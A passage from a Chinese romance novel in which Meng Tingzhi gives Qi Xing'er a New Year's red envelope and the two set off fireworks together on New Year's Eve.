男人眼神沉重。
“你怎么了?奇奇怪怪的,怎么忽然这个眼神?”男人的眼神明显惆怅。
“你有什么事也可以告诉我。随时聆听。”祁星尔凑近几分。
守岁鞭炮声,霹雳吧啦响起,振聋发聩,来得猝不及防。
祁星尔抖了一下,故作轻松:“老家过年就是这样,此起彼伏的鞭炮声。今晚一整夜都有鞭炮声,明天早上一大早,也有。孟先生怕是讨不得清净。”
孟停之的思绪被拉回:“乐意至极。”
“对了,稍等一下。”他起身疾步去二楼。
两分钟后拿了一个老式红包下来,红包鼓厚,一看就有不少压岁钱。
“新年快乐,小星,愿你新的一年心想事成,诸事顺遂。”漆黑瞳孔下的目光真挚而虔诚。
“谢谢,不过红包不该是长辈给小辈的么?”祁星尔并未接过,祝福太重,她承不起。
男人俯身低头,平视少女清澈的瞳孔,轻语:“那我是什么?”
祁星尔呼吸停滞。古书上说人在被下蛊后,心神就会不受控制,祁星尔觉得,现在的自己就被孟停之下了蛊。
被他蛊惑,不受控制。
心随他,神魂跟着他,一切皆由他说了算。
少女呆愣着,像只呆企鹅,男人不再逗她,轻拍少女的发顶,抚下那根微立的短发。
“无论我是谁,这个红包你都受得起,因为你值得。”
孟停之将红包放进祁星尔怀里。
“我买了烟花,你要玩么?”
话题转变太快,祁星尔看了看手里的红包:“要玩的。”
新年的夜热闹而喜庆,家家户户,无论大人小孩都出来放烟花,老人们则烤火嗑瓜子,看着子孙满堂,洋溢出幸福的笑容。
祁星尔小步跟上去,扭住孟停之衣角,翁声细语:“谢谢你。”
今年的第一个红包,来自孟停之。
烟花各式各样有不少。
有一种炮需要点火才能出火花,祁星尔不敢但又很想玩。
“我示范一下,你看看。”孟停之掏出塑料打火机,买烟花时送的,和他一点也不搭,甚至格格不入。
孟停之点完火,飞快地跑过来,拉着祁星尔向远处跑,像是怕被炸出伤。
先是一阵火花擦地的尾音,随即冲上天炸开。
两人离火炮有十多米远,都捂住自己的耳朵。
“我还以为,你不怕呢。”
“巧了,我很怕呢。不过有小星在,我就不怕了。”